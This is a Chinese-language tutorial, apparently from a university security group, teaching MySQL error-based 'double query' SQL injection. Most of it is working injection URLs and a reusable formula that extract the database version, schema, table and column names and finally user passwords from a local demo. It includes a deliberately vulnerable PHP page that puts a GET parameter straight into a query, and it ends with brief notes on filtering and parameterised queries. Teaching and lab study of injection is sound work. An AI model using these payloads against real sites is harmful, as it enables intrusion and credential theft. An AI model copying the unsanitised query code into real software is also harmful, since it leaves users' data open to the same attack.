介绍一下双查询注入,什么叫双查询注入,这个有点难以解释,通俗的来说就是嵌套子查询。我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select,里面的这个select语句就是子查询。
这种方法适用于注入的时候没有返回位,但是有返回位的时候也适用,不过又返回位的时候就不建议在、用这个啦!返回位就是你们union select 1,2,3,4,5,6,7,8 这里是8个字段
这里显示2,4,5,6,7,8就是返回位
另外,就是要有返回mysql错误提示,php返回错误提示有两种,看下图
这是mysql返回的错误
这是php返回的错误
双注入的原理,简单一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
floor()和rand(),count()就不在多说啦
但是concat()函数,就来说一下,concat是一个连接函数,可以连接多个字符,例如
1concat("abc","123")="abc123"
并且支持ascii码,例如:
1concat("abc",0x22,"123")=abc"123
(0×22就是双引号,可以用来当分隔符)
这里在mysql输入
1select concat((select version()))
在concat里执行查询要用括号括起来,同时要确定只返回 一条数据,不然得用limit来保证只有一条结果 (limit 0,1 返回第一条)
如果这条语句添加from的话,就会返回表中的记录的条数,就是有多少条记录就会返回多少次的版本号,看图
这里还没有显示完!!
因此
1select concat((select version()),floor(rand()*2)) from mysql.user;
(这里我用的是mysql中的mysql数据库,user表有四条记录 )
(小编注:rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floor(rand()*2)就相当于生成0/1两个随机值)
Attention,这里显示的值是版本号加上rand()生成的,正确版本好是去掉后面的0或1
现在我们加上group by ,因为如果我们从from 某张表的话,可能里面就会有很多条记录,然后就可能生成随机值(据说是这样的,如果不是,还望告知)
这里用information_schema.tables来弄,因为他的记录够多 ,如前一条语句,你就可以知道啦
group by 一下多清爽啦
看语句中
1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
这里加粗的a是把 as a 简写成 a 而已,说一下group by ,这个的作用就是把5.1.69-0ubuntu0.10.04.10 分为一组,5.1.69-0ubuntu0.10.04.11 的分为一组
(小编注:如果各位看官不知道这里是怎么回事,执行一下
1select concat((select version()),floor(rand()*2)) from information_schema.tables
就清楚了)
最后就来到这个count()函数了,这个函数妙用可以看一下下图
1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a
看到了没有,返回了我们后面concat的内容啦
ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我们看看phpmyadmin下比较详细的报错:
说了这么多就为了这个而已!!
好了,给个小小demo(demo在本文最后)给你们,不过弄不出一个没有显示返回位的,所以就将就一下的
然后双注入查询是有固定公式的
1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b
这里将下面的demo设置数据库的一些参数之后,保存成yi.php,我们的演示就正式开始了
这是正常的情况:
加个单引号后
这里说明有注入了,然后用order by 判断字段咯,这里就截图了(太麻烦啦),字段数是8个(其实不判断也可以的,只要确定有注入就行啦)
1、先读个数据库的版本、用户、当前库名
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b
这里数据库版本:5.1.28-rc-community
用户是:root@localhost
数据库名:test
2、然后读数据库有哪些库
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b
这里要注意,因为sql语句会返回多条记录,所以要用limit来限制返回的条数,limit 0,1是第一条记录
limit 1,1是第二条记录
(小编注:通过控制limit来逐条查看数据库名称,请忽略前面的0或是1)
3、然后看看有什么表
因为我有个dvwa的数据库,所以就用那个来做示范啦
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b
加粗是dvwa的hex值,这样得到dvwa的users的表
4、然后看有什么字段
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b
然后修改limit的值,得到字段user,password
5、然后读取字段的值
1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b
这样子就得到字段的值啦,然后提醒一下,要是跨库读取数据,要写成数据库名然后.表名。因为当前数据库是test,然后我读的是dvwa库的users的表,所以要写成dvwa.users
好了基本就是这么多啦。
防范办法:
一个是过滤啦(把’,”,union,select load_file,%,and等敏感字符都过滤啦)
另一个是参数化查询,就是一种把查询语句给固定死了,无论传过来的值是什么,都只当做变量来执行查询语句
demo的源码:
- <?php
- $dbuser = "root";
- $dbpwd = ""; //这里是mysql的密码
- $db = "test";
- $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");
- mysql_select_db($db,$conn);
- $id = $_GET['id'];
- $query = "select * from test where id =$id";
- $result = mysql_query($query) or die(mysql_error());
- print_r(mysql_fetch_array($result));
- //简单的写一下而已
- ?>
[via@广外(广东外语外贸大学)网络安全小组_台湾鸽]